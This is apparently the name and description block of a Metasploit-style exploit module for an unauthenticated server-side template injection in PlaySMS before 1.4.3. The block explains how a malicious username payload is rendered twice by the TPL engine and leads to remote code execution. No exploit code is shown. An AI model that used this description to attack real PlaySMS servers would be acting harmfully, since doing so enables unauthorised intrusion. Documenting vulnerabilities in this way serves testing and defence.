'Name' => 'PlaySMS index.php Unauthenticated Template Injection Code Execution',
'Description' => %q{
This module exploits a preauth Server-Side Template Injection vulnerability that leads to remote code execution
in PlaySMS before version 1.4.3. This issue is caused by double processing a server-side template with a custom
PHP template system called 'TPL' which is used in the PlaySMS template engine at
`src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered when an attacker supplied username with a
malicious payload is submitted. This malicious payload is then stored in a TPL template which when rendered a
second time, results in code execution.
The TPL(https://github.com/antonraharja/tpl) template language is vulnerable to PHP code injection.
This module was tested against PlaySMS 1.4 on HackTheBox's Forlic Machine.
